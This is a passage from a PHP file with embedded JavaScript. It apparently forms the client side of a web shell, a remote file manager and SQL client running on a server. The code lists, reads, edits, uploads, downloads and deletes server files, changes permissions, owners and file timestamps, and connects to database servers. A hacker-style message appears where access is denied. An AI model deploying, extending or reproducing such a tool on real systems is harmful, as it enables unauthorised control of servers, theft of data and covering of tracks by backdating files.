 <?php }else{?>switch(file[3]) {
  case 1: elm.textContent = 'read';
  break;
  case 2: elm.textContent = 'write';
  break;
  case 3: elm.textContent = 'read/write';
  break;
  default: elm.textContent = 'none';
  break;
 }
 <?php }?>
}

function listFiles(data, ownrs, grps) {
 var bpth = data.p,
  files = data.f,
  tbdy = elmById('tmplFilesTBody').content.firstChild.cloneNode(true);
 for (var pths = bpth.slice(0, -1).split(DS), cpth = '', i = 0, c = pths.length; i < c; ++i) {
  cpth += pths[i] + DS;
  tbdy.rows[0].cells[0].appendChild(newElm('a', {
   href: '#' + cpth,
   className: 'spnPth',
   textContent: pths[i] + DS,
  }));
  tbdy.rows[0].cells[0].classList.add('prm' + data.m);
 }
 tbdy.rows[1].cells[0].firstChild.value = bpth + '..';
 files.map(parseName);
 files.sort(cmprFiles);
 for (var i = 0, c = files.length; i < c; ++i) {
  var file = files[i],
   row = elmTmplFileRow.cloneNode(true);
  fillFileRow(row.cells, bpth, file<?php if(NIX)echo",ownrs[file[5]]+'/'+grps[file[6]]";?>);
  tbdy.appendChild(row);
 }
 elmTblFiles.appendChild(tbdy);
}

function listPaths(data) {
 var stl = elmTblFiles.style;
 if (stl.display !== 'none') {
  stl.display = 'none';
  for (var i = elmTblFiles.tBodies.length - 1; i >= 0; --i) elmTblFiles.removeChild(elmTblFiles.tBodies[i]);
  elmTblFiles.tHead.rows[0].cells[0].firstChild.checked = false;
 }
 if ('p' in data) listFiles(data<?php if(NIX)echo',data.o,data.g';?>);
 else
  for (var i = 0, c = data.f.length; i < c; ++i) listFiles(data.f[i] <?php if(NIX)echo',data.o,data.g';?>);
 stl.display = 'table';
}

function canonPath(pth, bpth) {
 if (pth === '') return '';
 var a = [],
  s = DS,
  v = pth.match(new RegExp('^[a-zA-Z0-9]{3,}://'));
 if (v !== null) {
  s = '/';
  v = v[0];
  var len = v.length;
  a.push(pth.slice(0, pth[len] === s ? len : v - 1));
  pth = pth.slice(len);
 } else if (DS === '/') {
  if (pth[0] === DS) a.push('');
 } else {
  pth = pth.replace('/', DS);
  if (pth[1] === ':') {
   a.push(pth.slice(0, 2));
   pth = pth.slice(2);
  } else if (pth.slice(0, 2) === DS + DS) {
   a.push(DS);
   pth = pth.slice(1);
  } else if (pth[0] === DS) a.push('');
 }
 if (a.length === 0) return canonPath(bpth + pth, bpth);
 v = pth.split(s);
 for (var i = 0, l = v.length; i < l; ++i) switch (v[i]) {
  case '':
  case '.':
   break;
  case '..':
   if (a.length > 1) a.pop();
   break;
  default:
   a.push(v[i]);
   break;
 }
 return a.length === 1 ? a[0] + s : a.join(s);
}

function onSrchFiles(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 if (data.f.length === 0) return uiChngMsg(div, 'Nothing found', 'Inf');
 listPaths(data);
 uiDelMsg(div);
}

function srchFiles(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = elmById('frmSrch'),
  data = {
   s: []
  },
  pths = frm.elements[0].value.split(DS === '/' ? ':' : ';');
 for (var i = pths.length - 1; i >= 0; --i) {
  var pth = canonPath(pths[i], elmPth.placeholder);
  if (pth !== '') data.s.push(pth);
 }
 data.s.sort();
 fmAjxSnd('Search files', onSrchFiles, data, frm);
 uiClsModal(frm);
}

function uiSrchFTypeChngd() {
 var frm = elmById('frmSrch'),
  isDir = frm.y.value == 1;
 for (var i = 0, a = [<?php if(NIX)echo"'u',";?> 'z', 't', 'x', 'v']; i < 5; ++i) frm[a[i]].disabled = isDir;
}

function uiShwFrmSrch() {
 var frm = elmById('frmSrch'),
  elm = frm.elements[0];
 if (elm.value === '') elm.value = elmPth.placeholder;
 uiShwModal(frm);
 return false;
}

function updFrmFile(frm, file, cntnt, chrst) {
 if (file[1] !== null) {
  var elm = frm.firstChild.firstChild;
  switch (file[1]) {
   case 3:
    elm.textContent = 'Full Access';
    break;
   case 2:
    elm.textContent = 'Writable';
    break;
   case 1:
    elm.textContent = 'Read Only';
    break;
   case 0:
    elm.textContent = 'Who Do You Voodoo, Bitch?';
    break;
  }
  elm.className = 'spnTitle prm' + file[1];
 }
 frm.elements[0].value = cntnt;
 var elm = frm.elements[1];
 elm.value = file[0];
 elm.placeholder = file[0];
 chrst = chrst.toLowerCase();
 for (var i = frm.c.options.length - 1; i >= 0; --i)
  if (frm.c.options[i].label.toLowerCase() === chrst) {
   frm.c.selectedIndex = i;
   break;
  }
}

function tbdyByPath(pth) {
 for (var i = 0, c = elmTblFiles.tBodies.length; i < c; ++i)
  if (elmTblFiles.tBodies[i].rows[0].cells[0].textContent === pth) return elmTblFiles.tBodies[i];
 return null;
}

function isInsPos(file, cells) {
 var fF = file[1] !== null,
  rF = cells[3].firstChild.textContent !== '[ DIR ]';
 if (fF && rF) {
  var by = (fmSort[0] < 3 ? fmSort[0] : 1);
  var fExt = file[0][by],
   rExt = cells[by].firstChild.textContent;
  if (fExt !== rExt) return rExt > fExt;
 } else if (fF) return false;
 else if (rF) return true;
 return cells[1].firstChild.textContent > file[0][1];
}

function updTblFiles(data, ownrs, grps) {
 var tbdyCnt = elmTblFiles.tBodies.length,
  bpth = data.p,
  files = data.f;
 if (tbdyCnt === 0) return;
 files.map(parseName);
 files.sort(cmprFiles);
 for (var i = 0, c = files.length; i < c; ++i) {
  var file = files[i],
   fpth = bpth + file[0][0],
   lpth = file.length % 2 == 0 ? canonPath(file.slice(-1)[0], bpth) : null,
   ogn = <?php echo NIX?"ownrs[file[5]]+'/'+grps[file[6]]":"''";?>,
   isNotUpdtd = true;
  if (file[1] === null) fpth += DS;
  for (var t = 0; t < tbdyCnt; ++t) {
   var tbdy = elmTblFiles.tBodies[t],
    rows = tbdy.rows,
    isEqlBsPth = rows[0].cells[0].textContent === bpth;
   for (var r = 2, n = rows.length; r < n; ++r) {
    var row = rows[r],
     cells = row.cells,
     cfpth = cells[0].firstChild.value,
     clpth = cells[1].firstChild.title;
    if (isNotUpdtd && isEqlBsPth) {
     if (cfpth === fpth) {
      updFileRow(row, file, ogn);
      isNotUpdtd = false;
     } else if (isInsPos(file, cells)) {
      var tmpl = elmTmplFileRow.cloneNode(true);
      fillFileRow(tmpl.cells, bpth, file, ogn);
      tbdy.insertBefore(tmpl, row);
      isNotUpdtd = false;
      ++n;
     }
    }
    if (clpth === fpth || cfpth === lpth || lpth === clpth) updFileRow(row, file, ogn);
   }
   if (isNotUpdtd && isEqlBsPth) {
    var tmpl = elmTmplFileRow.cloneNode(true);
    fillFileRow(tmpl.cells, bpth, file, ogn);
    tbdy.appendChild(tmpl);
   }
  }
 }
}

function updTblFile(f) {
 var pos = f[0].slice(0, -1).lastIndexOf(DS) + 1,
  bpth = f[0].slice(0, pos),
  os = {},
  gs = {};
 f[0] = f[0].slice(pos);
 <?php if(NIX){?>os[f[5]] = f[7];
 gs[f[6]] = f[8];
 f.splice(7, 2);
 <?php }?>updTblFiles({
  p: bpth,
  f: [f]
 }, os, gs);
}

function onSaveFile(div, data, chrst) {
 if (typeof data !== 'string') return uiChngMsg(div, "Can't s" + div.childNodes[1].nodeValue.slice(1, -1) + data.e, 'Err');
 var pos = data.lastIndexOf('\x03\x1E'),
  file;
 switch (data[pos + 2]) {
  case '\x06':
   file = JSON.parse(data.slice(pos + 3));
   updFrmFile(this, [file[0], file[3]], data.slice(0, pos), chrst);
   uiDelMsg(div);
   break;
  case '\x15':
   file = JSON.parse(data.slice(pos + 3));
   uiChngMsg(div, 'File ' + file[0] + " successful saved but can't read now", 'Inf');
   break;
  default:
   uiNetErrMsg(div);
   return false;
   break;
 }
 updTblFile(file);
}

function saveFile(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = e.target,
  pth = canonPath(frm.elements[1].value, elmPth.placeholder);
 fmAjxSnd('Save file as ' + pth, onSaveFile, {
  w: pth
 }, frm, frm.c.textValue);
}

function onRldFile(div, data, chrst) {
 if (typeof data !== 'string') return uiChngMsg(div, "Can't read file " + div.childNodes[1].nodeValue.slice(5, -2) + data.e, 'Err');
 var pos = data.lastIndexOf('\x03\x1E'),
  file;
 switch (data[pos + 2]) {
  case '\x06':
   file = JSON.parse(data.slice(pos + 3));
   updFrmFile(this, file, data.slice(0, pos), chrst);
   uiDelMsg(div);
   break;
  case '\x15':
   file = JSON.parse(data.slice(pos + 3));
   uiChngMsg(div, "Can't read file " + file[0], 'Inf');
   break;
  default:
   uiNetErrMsg(div);
   return false;
   break;
 }
}

function rldFile(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = e.target.parentNode.parentNode,
  pth = frm.elements[1].placeholder;
 frm.t.value = '';
 if (frm.firstChild.firstChild.textContent !== 'New File') fmAjxSnd('Reload file ' + pth, onRldFile, {
  g: pth
 }, frm);
}

function rldFileAs(e) {
 if (e.target.parentNode.parentNode.elements[1].placeholder !== '' && confirm('Do you want to reload this file with selected charset?')) rldFile(e);
}

function uiShwFrmFile(file, cntnt, chrst) {
 var frm = elmById('tmplFrmFile').content.firstChild.cloneNode(true);
 updFrmFile(frm, file, cntnt, chrst);
 elmById('divWndws').appendChild(frm);
 uiShwModal(frm);
}

function onGoTo(div, data, chrst) {
 if (typeof data === 'string') {
  var pos = data.lastIndexOf('\x03\x1E');
  switch (data[pos + 2]) {
   case '\x06':
    uiShwFrmFile(JSON.parse(data.slice(pos + 3)), data.slice(0, pos), chrst);
    uiDelMsg(div);
    break;
   case '\x15':
    uiChngMsg(div, "Can't open " + data.slice(pos + 3), 'Err');
    break;
   default:
    uiNetErrMsg(div);
    break;
  }
 } else {
  if (data.f.length === 0 && (data.m === 0 || data.m === 2)) uiChngMsg(div, "Can't read dir " + data.p, 'Err');
  else {
   elmPth.value = data.p;
   elmPth.placeholder = data.p;
   listPaths(data);
   uiDelMsg(div);
  }
 }
}

function goTo(pth) {
 if (pth !== '' && pth !== '~') pth = canonPath(pth, elmPth.placeholder);
 fmAjxSnd('Go ' + ((pth === '' || pth === '~') ? 'home' : 'to ' + pth), onGoTo, {
  g: pth
 });
 return false;
}

function uiTgglSubMenu(e) {
 var div = e.currentTarget.nextSibling,
  style = div.style;
 if (style.display === 'block') style.display = 'none';
 else {
  style.display = 'block';
  div.firstChild.focus();
 }
}

function menuButtonBlur(e) {
 setTimeout(uiMenuButtonBlur, 10, e.nextSibling);
}

function menuItemBlur(e) {
 setTimeout(uiMenuItemBlur, 10, e.parentNode);
}

function uiMenuButtonBlur(menuDiv) {
 var actvPrnt = document.activeElement.parentNode;
 if (actvPrnt !== menuDiv) menuDiv.style.display = 'none';
}

function uiMenuItemBlur(menuDiv) {
 var actvPrnt = document.activeElement.parentNode;
 if (actvPrnt !== menuDiv && actvPrnt !== menuDiv.parentNode) menuDiv.style.display = 'none';
}

function uiDstrModal(wndw) {
 elmById('divWndws').removeChild(wndw);
 return false;
}

function updBufferState() {
 var elm = elmById('btnBufferMenu'),
  isEmpty = fmBuffer.length === 0;
 if (elm.disabled !== isEmpty) elm.disabled = isEmpty;
 if (isEmpty) {
  elm = elmById('frmBuffer');
  if (elm.style.visibility === 'visible') {
   uiClsModal(elm);
   elm = elmById('tblBuffer');
   elm.removeChild(elm.tBodies[0]);
  }
 }
}

function rmFiles(data) {
 var bpth = data.p,
  files = data.f,
  flsTbds = elmTblFiles.tBodies,
  flsTbdy = tbdyByPath(bpth),
  bfrTbdy = elmById('frmBuffer').style.visibility === 'visible' ? elmById('tblBuffer').tBodies[0] : null;
 for (var i = files.length - 1; i >= 0; --i) {
  var fpth = files[i];
  if (flsTbdy)
   for (var j = flsTbdy.rows.length - 1; j > 1; --j)
    if (flsTbdy.rows[j].cells[2].firstChild.title === fpth) {
     flsTbdy.removeChild(flsTbdy.rows[j]);
     break;
    } fpth = bpth + fpth;
  var n = fmBuffer.indexOf(fpth);
  if (n > -1) {
   fmBuffer.splice(n, 1);
   if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
  }
  fpth += DS;
  var len = fpth.length;
  for (n = flsTbds.length - 1; n >= 0; --n)
   if (flsTbds[n].rows[0].cells[0].textContent.slice(0, len) === fpth) elmTblFiles.removeChild(flsTbds[n]);
  for (n = fmBuffer.length - 1; n >= 0; --n)
   if (fmBuffer[n].slice(0, len) === fpth) {
    fmBuffer.splice(n, 1);
    if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
   }
 }
}

function onChngPrps(div, data) {
 if ('r' in data) {
  for (var i = 0, c = data.r.length; i < c; ++i) rmFiles(data.r[i]);
  updBufferState();
 }
 if ('c' in data)
  for (var i = 0, c = data.c.length; i < c; ++i) updTblFiles(data.c[i] <?php if(NIX)echo',data.o,data.g';?>);
 if ('e' in data) uiChngMsg(div, "Can't change" + (data.e.length === 1 ? ' ' + data.e[0] : ':\n' + data.e.join('\n')), 'Err');
 else uiDelMsg(div);
}

function chngPrps(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = e.target,
  data = {
   h: []
  },
  flds = {
   p: 'path',
   t: 'modified time'
   <?php if(NIX)echo",e:'permissions',o:'owner',r:'group'";?>
  },
  chngd = [];
 for (var field in flds)
  if (frm[field].value !== '' && frm[field].value !== frm[field].placeholder) {
   data[field] = frm[field].value;
   chngd.push(flds[field]);
  } if (chngd.length > 0) {
  if ('p' in data) data.p = canonPath(data.p, elmPth.placeholder);
  var elm = frm['h[]'],
   cnt = elm.length ? elm.length : 1;
  if (cnt > 1)
   for (var i = 0; i < cnt; ++i) data.h.push(elm[i].value);
  else data.h.push(elm.value);
  fmAjxSnd('Change ' + chngd.join(', ') + ' for ' + (cnt > 1 ? 'selected files (' + cnt + ')' : elm.value), onChngPrps, data);
 }
 uiDstrModal(frm);
}

function setErlDate(e) {
 e.preventDefault();
 e.stopPropagation();
 var elm = e.target.parentNode.lastChild,
  erlDate = elm.value;
 for (var i = elmTblFiles.tBodies.length - 1; i >= 0; --i) {
  var rows = elmTblFiles.tBodies[i].rows;
  for (var j = rows.length - 1; j > 1; --j)
   if (rows[j].cells[4].textContent < erlDate || erlDate === '') erlDate = rows[j].cells[4].textContent;
 }
 if (erlDate !== '' && erlDate < elm.value) elm.value = erlDate;
}

function uiShwFrmPrps(data, files) {
 var frm = elmById('tmplFrmPrps').content.firstChild.cloneNode(true);
 for (var i = 0, c = files.length; i < c; ++i) frm.appendChild(newElm('input', {
  type: 'hidden',
  name: 'h[]',
  value: files[i]
 }));
 frm.p.value = data[0];
 frm.p.placeholder = data[0];
 frm.t.value = data[1];
 frm.t.placeholder = data[1];
 <?php if(NIX){?>frm.e.value = data[2];
 frm.e.placeholder = data[2];
 frm.o.value = data[3];
 frm.o.placeholder = data[3];
 frm.r.value = data[4];
 frm.r.placeholder = data[4];
 <?php }?>elmById('divWndws').appendChild(frm);
 uiShwModal(frm);
}

function onGetPrps(div, data) {
 if (data[4] === 0) return uiChngMsg(div, "Can't get properties of " + data[0], 'Err');
 uiShwFrmPrps([data[0], utsToStr(data[2]), (data[4] | 0).toString(8).slice(-4), data[5] === -1 ? '?' : data[5], data[6] === -1 ? '?' : data[6]], [data[0]]);
 uiDelMsg(div);
}

function getPrps(fpth) {
 fmAjxSnd('Get properties of ' + fpth, onGetPrps, {
  i: fpth
 });
}

function onDwnFiles(div, data) {
 uiChngMsg(div, "Can't d" + div.childNodes[1].nodeValue.slice(1, -2), 'Err');
}

function dwnFiles(files) {
 var cnt = files.length;
 if (cnt > 0) fmAjxSnd('Download ' + (cnt > 1 ? 'selected files (' + cnt + ')' : files[0]), onDwnFiles, {
  d: cnt > 1 ? files : files[0]
 });
}

function onDelFiles(div, data) {
 if ('r' in data) {
  for (var i = data.r.length - 1; i >= 0; --i) rmFiles(data.r[i]);
  updBufferState();
 }
 if ('e' in data) uiChngMsg(div, "Can't delete " + (data.e.length === 1 ? data.e[0] : ':\n' + data.e.join('\n')), 'Err');
 else uiDelMsg(div);
}

function delFiles(files) {
 var cnt = files.length,
  msg = 'Delete ' + (cnt > 1 ? 'selected files (' + cnt + ')' : files[0]);
 if (cnt > 0 && confirm(msg + ' ?')) fmAjxSnd(msg, onDelFiles, {
  u: files
 });
}

function onFastActClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 trgt.blur();
 var fpth = canonPath(elmPth.value, elmPth.placeholder);
 if (fpth === '') return;
 switch (trgt.textContent) {
  case 'Properties':
   getPrps(fpth);
   break;
  case 'Download':
   dwnFiles([fpth]);
   break;
  case 'Delete':
   delFiles([fpth]);
   break;
 }
}

function onUplFiles(div, data) {
 if ('p' in data) updTblFiles(data<?php if(NIX)echo',data.o,data.g';?>);
 if ('e' in data) {
  var errs = ["can't move file to current dir", 'file size exceeds the upload_max_filesize directive', 'file size exceeds the max_file_size property', 'file only partially uploaded', 'file not uploaded', 'Who Do You Voodoo, Bitch?', 'missing a temporary folder', 'failed to write to disk', 'some PHP extension stopped the upload'],
   cnt = data.e.length,
   sep = cnt === 1 ? ' ' : '\n',
   msg = "Can't save uploaded file";
  if (cnt > 1) msg += 's:';
  for (var i = 0; i < cnt; ++i) msg += sep + data.e[i].slice(1) + ' (' + errs[data.e[i].slice(0, 1)] + ')';
  uiChngMsg(div, msg, 'Err');
 } else uiDelMsg(div);
}

function uplFiles() {
 var inp = elmById('inpUpl'),
  fls = inp.files,
  len = fls.length;
 fmAjxSnd('Upload ' + (len > 1 ? len + ' files' : fls[0].name), onUplFiles, {
  p: elmPth.placeholder
 }, inp.form);
}

function onMkFile(div, data) {
 if ('e' in data) return uiChngMsg(div, "Can't c" + div.childNodes[1].nodeValue.slice(1, -1) + data.e, 'Err');
 updTblFile(data);
 uiDelMsg(div);
}

function mkLnk(e) {
 e.preventDefault();
 e.stopPropagation();
 var frm = elmById('frmLnk'),
  lnk = canonPath(frm.elements[1].value, elmPth.placeholder);
 fmAjxSnd('Create ' + frm.t.textValue.toLowerCase() + ' link ' + lnk + ' to ' + frm.p.value, onMkFile, {
  l: lnk
 }, frm);
 uiClsModal(frm);
}

function uiShwFrmLnk(p) {
 var frm = elmById('frmLnk');
 frm.p.value = p;
 frm.elements[1].value = p;
 frm.t.selectedIndex = 0;
 uiShwModal(frm);
}

function mkDir(bp) {
 var fp = prompt('Create Directory', bp);
 if (fp !== null) {
  fp = canonPath(fp, bp);
  fmAjxSnd('Create directory ' + fp, onMkFile, {
   m: fp
  });
 }
}

function onCrtMenuClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 trgt.blur();
 var bpth = elmPth.placeholder;
 switch (trgt.textContent) {
  case 'File':
   uiShwFrmFile([bpth, null], '', elmById('fmCSSend').value);
   break;
  case 'Link':
   uiShwFrmLnk(bpth);
   break;
  case 'Directory':
   mkDir(bpth);
   break;
 }
}

function uiUnmrkTblFiles(files) {
 var as = elmTblFiles.getElementsByClassName('mrkd');
 for (var i = as.length - 1; i >= 0; --i) {
  var n = files.indexOf(as[i].parentNode.parentNode.cells[0].firstChild.value);
  if (n > -1) {
   as[i].classList.remove('mrkd');
   files.splice(n, 1);
   if (files.length === 0) break;
  }
 }
}

function unmarkFiles() {
 var tbdy = elmById('tblBuffer').tBodies[0],
  inps = elmById('frmBuffer')['f[]'],
  files = [];
 if (!inps.length) inps = [inps];
 for (var i = inps.length - 1; i >= 0; --i)
  if (inps[i].checked) {
   files.push(fmBuffer.splice(i, 1)[0]);
   tbdy.removeChild(inps[i].parentNode.parentNode);
  } if (files.length > 0) {
  uiUnmrkTblFiles(files);
  updBufferState();
 }
}

function onTblBufferClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 var row = trgt.parentNode.parentNode,
  fpth = row.cells[0].firstChild.value;
 switch (trgt.parentNode.cellIndex) {
  case 1:
   goTo(fpth);
   break;
  case 2:
   fmBuffer.splice(row.rowIndex - 1, 1);
   row.parentNode.removeChild(row);
   uiUnmrkTblFiles([fpth]);
   updBufferState();
   break;
 }
}

function uiShwFrmBuffer() {
 var frm = elmById('frmBuffer');
 if (frm.style.visibility === 'visible') return;
 var tbl = elmById('tblBuffer'),
  tbdy = document.createElement('tbody'),
  elmTmplBufferRow = elmById('tmplBufferRow').content.firstChild;
 frm.elements[0].checked = false;
 if (tbl.tBodies.length > 0) tbl.removeChild(tbl.tBodies[0]);
 fmBuffer.sort();
 for (var i = 0, c = fmBuffer.length; i < c; ++i) {
  var row = elmTmplBufferRow.cloneNode(true);
  row.cells[0].firstChild.value = fmBuffer[i];
  row.cells[1].firstChild.textContent = fmBuffer[i];
  tbdy.appendChild(row);
 }
 tbl.appendChild(tbdy);
 uiShwModal(frm);
}

function getName(f) {
 return f[0];
}

function onFlshBuffer(div, data) {
 var files = ('c' in data) ? data.c : [];
 if ('m' in data)
  for (var i = data.m.length - 1; i >= 0; --i) {
   rmFiles({
    p: data.m[i].p,
    f: data.m[i].f.map(getName)
   });
   files = files.concat(data.m[i].f);
  }
 updTblFiles({
   p: data.p,
   f: files
  }
  <?php if(NIX)echo',data.o,data.g';?>);
 if ('e' in data) {
  var msg = div.childNodes[1].nodeValue;
  uiChngMsg(div, "Can't " + msg.slice(0, 10).toLowerCase() + msg.slice(26, -1) + ":\n" + data.e.join("\n"), 'Err');
 } else uiDelMsg(div);
}

function flushBuffer(act) {
 var bpth = elmPth.placeholder,
  data = {
   f: bpth
  };
 data[act === 'Copy' ? 'p' : 'v'] = fmBuffer;
 fmAjxSnd(act + ' files from the buffer to ' + bpth, onFlshBuffer, data);
}

function clnBuffer() {
 var as = elmTblFiles.getElementsByClassName('mrkd');
 for (var i = as.length - 1; i >= 0; --i) as[i].classList.remove('mrkd');
 fmBuffer = [];
 updBufferState();
}

function onBufferMenuClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 trgt.blur();
 fmBuffer.sort();
 switch (trgt.textContent) {
  case 'Show files':
   uiShwFrmBuffer();
   break;
  case 'Copy here':
  case 'Move here':
   flushBuffer(trgt.textContent.slice(0, 4));
   clnBuffer();
   break;
  case 'Download':
   dwnFiles(fmBuffer);
   clnBuffer();
   break;
  case 'Clear':
   clnBuffer();
   break;
 }
}

function markFiles(files) {
 var bfrTbdy = elmById('frmBuffer').style.visibility === 'visible' ? elmById('tblBuffer').tBodies[0] : null,
  elmTmplBufferRow = elmById('tmplBufferRow').content.firstChild;
 for (var i = 0, c = files.length; i < c; ++i) {
  var file = files[i],
   n = fmBuffer.indexOf(file);
  if (n === -1) {
   fmBuffer.push(file);
   if (bfrTbdy) {
    var row = elmTmplBufferRow.cloneNode(true);
    row.cells[0].firstChild.value = file;
    row.cells[1].firstChild.textContent = file;
    bfrTbdy.appendChild(row);
   }
  } else {
   fmBuffer.splice(n, 1);
   if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
  }
 }
 updBufferState();
}

function getSlctdFiles() {
 var inps = elmById('frmFiles')['f[]'], chckd = [];
 if(!inps.hasOwnProperty('1')) inps = [inps];
 
 if (inps) {
  if (inps.length > 0) {
   for (var i = 0, c = inps.length; i < c; ++i)
    if (inps[i].checked) chckd.push(inps[i].value);
  } else chckd.push(inps);
 }
 return chckd;
}

function prpsSlctdFiles() {
 var files = getSlctdFiles();
 if (files.length > 0) uiShwFrmPrps(['', '', '', '', ''], files)
}

function markSlctdFiles() {
 var inps = elmById('frmFiles')['f[]'],
  files = [];
 if (!inps) return;
 if (!inps.length) inps = [inps];
 for (var i = 0, c = inps.length; i < c; ++i)
  if (inps[i].checked) {
   inps[i].parentNode.parentNode.cells[1].firstChild.classList.toggle('mrkd');
   files.push(inps[i].value);
  } markFiles(files);
}

function onTblFilesClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 if (trgt.className == 'spnPth') goTo(trgt.hash.slice(1));
 else {
  var cell = trgt.parentNode,
   row = cell.parentNode,
   fpth = row.cells[0].firstChild.value;
  switch (cell.cellIndex) {
   case 1:
    goTo(fpth);
    break;
   case 2:
    var elmTxtClpbrd = elmById('txtClpbrd');
    elmTxtClpbrd.value = trgt.title;
    elmTxtClpbrd.select();
    document.execCommand('copy');
    elmTxtClpbrd.value = '';
    trgt.focus();
    break;
   case 3:
    dwnFiles([fpth]);
    break;
   case 5:
    <?php if(NIX)echo"var og=row.cells[6].title.split('/');";?>uiShwFrmPrps([fpth, row.cells[4].textContent<?php if(NIX)echo',row.cells[5].firstChild.title,og[0],og[1]';?>], [fpth]);
    break;
   default:
    if (trgt.textContent === 'Mrk') {
     row.cells[1].firstChild.classList.toggle('mrkd');
     markFiles([fpth]);
    } else if (trgt.textContent === 'Del') delFiles([fpth]);
    break;
  }
 }
}

function sqlRestoreState() {
 var val = sessionStorage.getItem('sqlCnnct');
 if (val !== null) {
  var frm = elmById('frmCnnct');
  val = JSON.parse(val);
  for (var key in val) frm[key].value = val[key];
 }
 strgRstrChck('sqlCntRw', 'cbCR');
 strgRstrVal('sqlRPP', elmById('frmPg').r);
 strgRstrVal('sqlSendAs', 'sqlCSSend');
 strgRstrVal('sqlLoadAs', 'sqlCSLoad');
}

function sqlSaveState() {
 var elms = elmById('frmCnnct').elements,
  val = {};
 for (var i = elms.length - 1; i >= 0; --i)
  if (elms[i].name !== '') val[elms[i].name] = elms[i].value;
 strgSaveStr('sqlCnnct', JSON.stringify(val));
 strgSaveBool('sqlCntRw', 'cbCR');
 strgSaveStr('sqlRPP', elmById('frmPg').r.value);
 strgSaveOpt('sqlSendAs', elmById('sqlCSSend').value);
 strgSaveOpt('sqlLoadAs', elmById('sqlCSLoad').value);
}

function sqlAjxSnd(msg, cllbck, data) {
 var elm = elmById('frmCnnct').elements;
 if (!data) data = {};
 data.a = 's';
 for (var i = elm.length - 1; i >= 0; --i) {
  var n = elm[i].name;
  if (n !== '' && elm[i].value !== '' && !(n in data)) data[n] = elm[i].value;
 }
 var val = elmById('sqlCSLoad').value;
 if (val !== 0) data.c = val;
 elm = elmById('sqlCSSend');
 data.l = elm.value;
 return ajxSnd(msg, cllbck, null, data, elm.textValue);
}

function mkItmRow(name, val, chckd, fncOpn, fncDwn) {
 var div = newElm('div', {
  className: 'divItm'
 });
 div.appendChild(newElm('input', {
  type: 'checkbox',
  name: name + '[]',
  value: val,
  checked: chckd,
  onchange: onChngCBState
 }));
 if (fncOpn) div.appendChild(newElm('a', {
  href: '#',
  className: 'cntrl actRe',
  textContent: '\u27F3',
  onclick: getStrctr
 }));
 if (fncDwn) div.appendChild(newElm('a', {
  href: '#',
  className: 'cntrl arwDwn',
  onclick: fncDwn
 }));
 div.appendChild(newElm((fncOpn ? 'a' : 'span'), {
  href: '#',
  className: 'aMore',
  title: val,
  textContent: val,
  onclick: fncOpn
 }));
 return div;
}

function cnnct() {
 var frm = elmById('frmCnnct');
 return sqlAjxSnd('Connect to ' + frm.e.textValue + ' server ' + frm.h.value + ' as ' + frm.u.value + ' (' + frm.p.value + ')', onCnnct);
}

function onCnnct(div, data) {
 if ('e' in data) return uiChngMsg(div, data.e, 'Err');
 elmById('frmSQL').q.value = '';
 elmById('divCptn').textContent = '';
 elm = elmById('frmPg').style;
 if (elm.display === 'block') elm.display = 'none';
 elm = elmById('tblHead');
 if (elm.childNodes.length > 0) elm.removeChild(elm.tHead);
 elm = elmById('tblData');
 if (elm.tBodies.length > 0) elm.removeChild(elm.tBodies[0]);
 elm = elmById('divSQLWrpLeft');
 if (elm.style.display === 'block') {
  elm.style.display = 'none';
  var e = elmById('divSchm');
  for (var i = e.childNodes.length - 1; i >= 0; --i) e.removeChild(e.lastChild);
 }
 if ('b' in data) {
  elmById('divSchm').appendChild(mkItmRow('b', data.b, false, opnList));
  onGetStrctr(div, data);
 } else {
  var frgm = document.createDocumentFragment();
  for (var i = 0, c = data.length; i < c; ++i) frgm.appendChild(mkItmRow('b', data[i], false, opnList));
  elmById('divSchm').appendChild(frgm);
 }
 elm.style.display = 'block';
 elm = elmById('frmSQL').style;
 if (elm.display !== 'flex') elm.display = 'flex';
 if (!('b' in data)) uiDelMsg(div);
}

function opnList() {
 var prnt = this.parentNode,
  lst = prnt.lastChild;
 if (lst.className === 'divLst') lst.style.display = lst.style.display === 'none' ? 'block' : 'none';
 else prnt.childNodes[1].onclick();
 return false;
}

function onChngCBState() {
 var chldTotal = this.getAttribute('chldTotal') | 0,
  chldChckd = this.getAttribute('chldChckd') | 0,
  chldIndtrm = -1 * (this.getAttribute('chldIndtrm') | 0),
  prnt = this.name === 'b[]' ? false : this.parentNode.parentNode.parentNode.firstChild;
 if (chldIndtrm !== 0 || chldChckd !== chldTotal) {
  this.setAttribute('chldIndtrm', 0);
  --chldIndtrm;
 }
 this.setAttribute('chldChckd', this.checked ? chldTotal : 0);
 chldChckd = this.checked ? chldTotal - chldChckd + 1 : -1 * chldChckd - 1;
 if (chldTotal > 0) {
  var inps = this.parentNode.lastChild.getElementsByTagName('input');
  for (var i = inps.length - 1; i >= 0; --i)
   if (inps[i].indeterminate || inps[i].checked !== this.checked) {
    var ttl = inps[i].getAttribute('chldTotal') | 0;
    if (ttl > 0) {
     inps[i].setAttribute('chldIndtrm', 0);
     inps[i].setAttribute('chldChckd', this.checked ? ttl : 0);
    }
    inps[i].indeterminate = false;
    inps[i].checked = this.checked;
   }
 }
 while (prnt) {
  var crrntTotal = prnt.getAttribute('chldTotal') | 0,
   crrntChckd = (prnt.getAttribute('chldChckd') | 0) + chldChckd,
   crrntIndtrm = (prnt.getAttribute('chldIndtrm') | 0) + chldIndtrm;
  prnt.setAttribute('chldChckd', crrntChckd);
  prnt.setAttribute('chldIndtrm', crrntIndtrm);
  if (crrntChckd === crrntTotal) {
   prnt.checked = true;
   ++chldChckd;
   if (prnt.indeterminate) {
